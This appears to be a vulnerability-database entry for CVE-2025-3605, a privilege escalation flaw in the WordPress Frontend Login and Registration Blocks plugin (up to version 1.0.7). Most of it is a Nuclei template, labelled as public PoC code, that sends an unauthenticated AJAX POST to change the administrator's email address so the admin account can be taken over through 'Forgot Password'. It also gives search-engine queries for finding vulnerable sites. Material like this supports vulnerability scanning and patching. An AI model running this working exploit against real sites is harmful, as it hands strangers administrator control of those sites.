Privilege escalation vulnerability exists in the Frontend Login and Registration Blocks plugin for WordPress (versions <= 1.0.7). An unauthenticated attacker can exploit the AJAX endpoint flr_blocks_user_settings_handle_ajax_callback() to change the administrator's email address. Subsequently, the attacker can use the "Forgot Password" feature to reset the administrator's password, thereby gaining unauthorized access to the admin account.
PoC代码[已公开]
id: CVE-2025-3605
info:
name: WordPress Frontend Login and Registration Blocks Plugin 1.0.7 - Privilege Escalation
author: beginee
severity: critical
description: |
Privilege escalation vulnerability exists in the Frontend Login and Registration Blocks plugin for WordPress (versions <= 1.0.7). An unauthenticated attacker can exploit the AJAX endpoint flr_blocks_user_settings_handle_ajax_callback() to change the administrator's email address. Subsequently, the attacker can use the "Forgot Password" feature to reset the administrator's password, thereby gaining unauthorized access to the admin account.
reference:
- https://wordpress.org/plugins/frontend-login-and-registration-blocks/
- https://github.com/GadaLuBau1337/CVE-2025-3605/tree/main
- https://nvd.nist.gov/vuln/detail/CVE-2025-3605
- https://plugins.trac.wordpress.org/browser/frontend-login-and-registration-blocks/trunk/inc/class-flr-blocks-user-settings.php#L59
- https://www.wordfence.com/threat-intel/vulnerabilities/id/0c11668c-6dc3-4539-b2be-bf6528bed73e?source=cve
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2025-3605
cwe-id: CWE-639
epss-score: 0.24888
epss-percentile: 0.95963
cpe: cpe:2.3:a:wordpress:frontend_login_and_registration_blocks:*:*:*:*:*:wordpress:*:*
metadata:
verified: true
max-request: 1
fofa-query: body="/wp-content/plugins/frontend-login-and-registration-blocks/"
publicwww-query: "/wp-content/plugins/frontend-login-and-registration-blocks/"
tags: cve,cve2025,wp,wp-plugin,wordpress,frontend-login-and-registration-blocks,intrusive
variables:
userid: "1"
email: "{{rand_base(7)}}@{{rand_base(5)}}.com"
http:
- raw:
- |
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
action=flrblocksusersettingsupdatehandle&user_id={{userid}}&flr-blocks-email-update={{email}}
matchers-condition: and
matchers:
- type: word
part: body
words:
- 'status":true'
- 'Operation has been completed successfully'
condition: and
- type: word
part: content_type
words:
- application/json
- type: status
status:
- 200
extractors:
- type: dsl
dsl:
- 'email'
# digest: 4a0a00473045022100e251de29f0a859573a4a61be27d45349246dc5d4ecb040b1dc940c8317abd130022079e804dc7cbc0e2a34e067f8e08c7eace6623f12b8c2dc8f997e9e9d653ca340:922c64590222798bb761d5b6d8e72950